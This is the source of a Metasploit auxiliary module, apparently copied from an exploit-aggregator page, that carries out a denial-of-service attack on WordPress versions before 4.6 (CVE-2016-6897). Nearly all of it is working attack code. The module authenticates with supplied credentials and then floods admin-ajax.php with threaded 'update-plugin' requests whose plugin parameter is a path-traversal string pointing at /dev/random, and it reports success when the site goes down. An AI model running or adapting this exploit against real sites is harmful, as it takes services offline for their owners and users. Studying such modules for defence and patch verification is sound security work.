Share
## https://sploitus.com/exploit?id=PACKETSTORM:180504
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'WordPress Traversal Directory DoS',  
'Description' => %q{  
Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin  
function in wp-admin/includes/ajax-actions.php in WordPress before 4.6  
allows remote attackers to hijack the authentication of subscribers  
for /dev/random read operations by leveraging a late call to  
the check_ajax_referer function, a related issue to CVE-2016-6896.},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Yorick Koster', # Vulnerability disclosure  
'CryptisStudents' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2016-6897'],  
['EDB', '40288'],  
['OVE', 'OVE-20160712-0036']  
],  
))  
  
register_options(  
[  
OptInt.new('RLIMIT', [true, 'The number of requests to send', 200]),  
OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]),  
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]),  
OptInt.new('DEPTH', [true, 'The depth of the path', 10]),  
OptString.new('USERNAME', [true, 'The username to send the requests with', '']),  
OptString.new('PASSWORD', [true, 'The password to send the requests with', ''])  
])  
end  
  
def rlimit  
datastore['RLIMIT']  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def thread_count  
datastore['THREADS']  
end  
  
def timeout  
datastore['TIMEOUT']  
end  
  
def depth  
datastore['DEPTH']  
end  
  
def user_exists(user)  
exists = wordpress_user_exists?(user)  
if exists  
print_good("Username \"#{user}\" is valid")  
return true  
else  
print_error("\"#{user}\" is not a valid username")  
return false  
end  
end  
  
def run  
if wordpress_and_online?  
print_status("Checking if user \"#{username}\" exists...")  
unless user_exists(username)  
print_error('Aborting operation - a valid username must be specified')  
return  
end  
  
starting_thread = 1  
  
cookie = wordpress_login(username, password)  
store_valid_credential(user: username, private: password, proof: cookie)  
if cookie.nil?  
print_error('Aborting operation - failed to authenticate')  
return  
end  
  
path = "/#{'../' * depth}dev/random"  
  
while starting_thread < rlimit do  
ubound = [rlimit - (starting_thread - 1), thread_count].min  
print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")  
  
threads = []  
1.upto(ubound) do |i|  
threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|  
begin  
# shell code  
res = send_request_cgi( opts = {  
'method' => 'POST',  
'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),  
'vars_post' => {  
'action' => 'update-plugin',  
'plugin' => path  
},  
'cookie' => cookie  
}, timeout = 0.2)  
rescue => e  
print_error("Timed out during request #{(starting_thread - 1) + i}")  
end  
end  
end  
  
threads.each(&:join)  
  
print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")  
starting_thread += ubound  
end  
  
if wordpress_and_online?  
print_error("FAILED: #{target_uri} appears to still be online")  
else  
print_good("SUCCESS: #{target_uri} appears to be down")  
end  
  
else  
print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress")  
end  
end  
end